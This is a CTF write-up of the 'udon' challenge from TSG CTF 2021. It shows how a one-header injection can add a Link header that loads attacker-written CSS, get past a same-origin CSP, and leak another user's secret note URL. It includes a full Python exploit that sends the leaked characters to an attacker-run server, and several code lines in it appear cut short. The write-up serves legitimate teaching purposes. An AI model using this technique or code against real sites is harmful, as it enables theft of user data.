CSS Injection through Header Injection - A Writeup of TSG CTF 2021

TSG CTF 2021 was held from October 3rd - October 4th, and my challenge (“udon”) was on the contest. To speak frankly, the challenge was: “Can you steal another user’s secrets using a vulnerability that allows you to inject just a single HTTP response header?”

This article describes the way to achieve data leakage with a single response header injection, by explaining how the challenge could be solved.




Challenge Summary

The challenge description was as follows.

Ta-dah! Here comes udon!

source code: https://diary.shift-js.info/files/tsgctf-2021-udon.tar

You can run the challenge as follows:

# download src
wget https://diary.shift-js.info/files/tsgctf-2021-udon.tar
tar -xf tsgctf-2021-udon.tar

# launch services
cd udon
docker-compose up -d --build

# access to the main service
open http://localhost:8080

After running these commands, you will see the following screen:

Flag Location

Looking at the source code, you’ll soon find the flag exists in environment variables of app service.

  build: ./src/app
  restart: always
    - "8080:8080"
    - ADMIN_UID=dummydummydummydummydummydummydummyd

Then app will store the value of it into internal datastore as follows, where ADMIN_UID is session ID worker uses:

	posts := []Post{}
	db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts)
	if len(posts) == 0 {
			UID:         os.Getenv("ADMIN_UID"),
			Title:       "flag",
			Description: os.Getenv("FLAG"),

We can access to the record once we get the URL for this like (http://localhost:8080/notes/<blahblah>). The goal of this challenge is to leak the URL for this record.


With a closer look at the implementation of app, you will find the following middleware allows to inject just a single HTTP response header through query strings for all endpoints:

	r.Use(func(c *gin.Context) {
		k := c.Query("k")
		v := c.Query("v")
		if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
			c.Header(k, v)

To put it more simply, this challenge is: “Can you steal another user’s secrets using a vulnerability that allows you to inject just a single HTTP response header?”

Intended Solution

Considering that who knows the URL of a note with the flag is worker, we need to abuse the vulnerability to control the behaviour of worker. This is not trivial since the vulnerability is not kinda XSS. However, here comes a Link header!

Web Linking specification defines Link header, which and behaves almost the same as <link> tag in HTML, although it is supported only by Firefox as of now. For example, in Firefox, the following response header loads /foo.css as a stylesheet as <link rel="stylesheet" href="/foo.css"> does:

Link: </foo.css>; rel="stylesheet"; type="text/css"

Suppose that you can inject arbitrary header to a response through query params, you can inject arbitrary CSS to an arbitrary page of app! Once you can inject a CSS into the /, which shows the URLs of one’s notes as follows, you can leak them with classical techniques of CSS Injection:

<li><a href="/notes/nxwoufD9Lk">aa</a></li>

Note that you can make worker access any page of app with /tell endpoint with any query params.

CSP Bypass

All responses from app are served with the following Content-Security-Policy header, preventing us from loading cross-origin stylesheets:

	r.Use(func(c *gin.Context) {
		c.Header("Content-Security-Policy", "script-src 'self'; style-src 'self'; base-uri 'none'")

It means that we need to bypass this CSP to inject CSS successfully. However, You’ll know this is trivial since style-src is 'self' and you can create a resource with arbitrary string by using POST /notes. In detail, you can bypass CSP by (1) creating a note with css strings to inject and (2) using the note in Link header value as follows:

http://localhost:8080/?k=Link&v=%3C%2F(<URL of a note with styles to inject>)%3E%3B%20rel%3D%22stylesheet%22%3B%20type%3D%22text%2Fcss%22

Example Exploit

Here’s an example exploit:

from flask import Flask, request
import requests
import urllib.parse
import string

TARGET_BASE = "http://localhost:8080"

CHAR_CANDIDATES = string.ascii_letters + string.digits

EXPLOIT_BASE_ADDR = "http://host.docker.internal:1337"
app = Flask(__name__)
s = requests.Session()

def build_payload(prefix: str, candidates: "List[str]"):
    assert EXPLOIT_BASE_ADDR != "", "EXPLOIT_BASE_ADDR is not set"

    payload = "{}"
    for candidate in candidates:
        id_prefix_to_try = prefix + candidate
        matcher = ''.join(map(lambda x: '\\' + hex(ord(x))
                              [2:], '/notes/' + id_prefix_to_try))
		payload += "a[href^=" + matcher + \
            "] { background-image: url(" + EXPLOIT_BASE_ADDR + \
            "/leak?q=" + urllib.parse.quote(id_prefix_to_try) + "); }"
    return payload

def post_note(title: str, description: str) -> str:
    r = s.post(TARGET_BASE + "/notes", data={
        "title": title,
        "description": description,
    }, headers={
        "content-type": "application/x-www-form-urlencoded"
    }, allow_redirects=False)
    assert r.status_code == 302, "invalid status code: {}".format(
    return r.headers['Location'].split('/notes/')[-1]

def report_note_as_stylesheet(id: str) -> None:
    header_value = '</notes/{}>; rel="stylesheet"; type="text/css"'.format(id)
    r = s.post(TARGET_BASE + "/tell", data={
        "path": "/?k=Link&v={}".format(urllib.parse.quote(header_value)),
    }, allow_redirects=False)
    assert r.status_code == 302, "invalid status code: {}".format(
    return None

def start():
    p = build_payload("", CHAR_CANDIDATES)
    exploit_id = post_note("exploit", p)
    print("[info]: started exploit with a new note: {}/notes/{}".format(TARGET_BASE, exploit_id))
    return ""

def leak():
    leaked_id = request.args.get('q')
    if len(leaked_id) == LEAK_LENGTH:
        print("[+] leaked (full ID): {}".format(leaked_id))
        r = s.get(TARGET_BASE + "/notes/" + leaked_id)
        print("[info] leaked: {}{}".format(
            leaked_id, "*" * (LEAK_LENGTH - len(leaked_id))))

        p = build_payload(leaked_id, CHAR_CANDIDATES)
        exploit_id = post_note("exploit", p)
        print("[info]: invoked crawler with a new note: " + exploit_id)
    return ""

if __name__ == "__main__":
    print("[info] running app ...")
    app.run(host="", port=1337)

You can run this exploit code with python <path/to/code> && curl http://localhost:1337/start. Note that you may need to change the definition of worker service as follows:

  build: ./src/worker
    - redis
  restart: always
    - ADMIN_UID=dummydummydummydummydummydummydummyd
    - "host.docker.internal:host-gateway"


In this article I’ve explained how “udon” of TSG CTF 2021 could be solved. The key takeaway of this challenge is: HTTP response header injection is sometime useful as a means of injection CSS!

Written on October 3, 2021